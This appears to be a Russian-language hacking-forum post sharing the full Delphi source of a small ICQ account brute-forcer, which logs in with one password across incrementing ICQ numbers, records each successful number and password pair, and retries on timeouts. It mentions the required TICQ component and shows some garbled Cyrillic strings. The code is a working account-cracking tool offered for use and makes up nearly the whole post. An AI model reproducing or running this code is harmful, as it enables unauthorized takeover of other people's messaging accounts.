Сообщение от
.::f-duck::.
Да,давай.
90% - это быдлокод,т.е. пижженый и чуть переделанный сурс.
олололло?
код етого мини брута
unit Unit3;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ICQClient, ICQWorks, ExtCtrls, StdCtrls;
type
TForm3 = class(TForm)
ICQClient1: TICQClient;
Edit1: TEdit;
Edit2: TEdit;
Button1: TButton;
Timer1: TTimer;
Label1: TLabel;
Edit3: TEdit;
Button2: TButton;
GroupBox1: TGroupBox;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
Button3: TButton;
Panel1: TPanel;
Good: TMemo;
Label5: TLabel;
procedure Button1Click(Sender: TObject);
procedure ICQClient1Login(Sender: TObject);
procedure ICQClient1Error(Sender: TObject; ErrorType: TErrorType;
ErrorMsg: string);
procedure Timer1Timer(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form3: TForm3;
implementation
{$R *.dfm}
procedure TForm3.Button1Click(Sender: TObject);
begin
Button1.Enabled:=False;
Button2.Enabled:=True;
Button3.Enabled:=False;
Edit1.Enabled:=False;
Edit2.Enabled:=False;
Edit3.Enabled:=False;
Good.Enabled:=False;
Label1.Caption:='Ïîäêëþ÷åíèå...';
Timer1.Enabled:=True;
if ICQClient1.LoggedIn then
ICQClient1.LogOff;
ICQClient1.UIN:=StrToInt(Edit1.Text);
ICQClient1.Password:=Edit2.Text;
ICQClient1.Login(S_ONLINE);
end;
procedure TForm3.Button2Click(Sender: TObject);
begin
Timer1.Enabled:=False;
Good.Enabled:=True;
Button2.Enabled:=False;
Button1.Enabled:=True;
Button3.Enabled:=True;
Edit1.Enabled:=True;
Edit2.Enabled:=True;
Edit3.Enabled:=True
end;
procedure TForm3.ICQClient1Error(Sender: TObject; ErrorType: TErrorType;
ErrorMsg: string);
begin
Label1.Caption:=ErrorMsg;
end;
procedure TForm3.ICQClient1Login(Sender: TObject);
begin
Good.Lines.Add(Edit1.Text+';'+Edit2.Text);
Label1.Caption:='Ñáðó÷åííî !!!';
ICQClient1.LogOff;
end;
procedure TForm3.Timer1Timer(Sender: TObject);
begin
if Edit1.Text = Edit3.Text then
Timer1.Enabled:=False;
if Label1.Caption = 'Connection failed. Your ICQ number or password was rejected.' then begin
Edit1.Text:=IntToStr(StrToInt(Edit1.Text)+1);
Button1.Click;
Label1.Caption:='Ïîäêëþ÷åíèå...';
end;
if Label1.Caption = 'Connection timed out' then begin
Button1.Click;
Label1.Caption:='Ïîäêëþ÷åíèå...';
end;
if Label1.Caption = 'Ïîäêëþ÷åíèå...' then begin
Edit1.Text:=IntToStr(StrToInt(Edit1.Text)+1);
Button1.Click;
Label1.Caption:='Ïîäêëþ÷åíèå ...';
end;
end;
procedure TForm3.Button3Click(Sender: TObject);
begin
Form3.Close;
end;
end.
необходим компонент TICQ
а что касается кода то друг помог немного т.к. я в делфи полный 0
Линейный вид
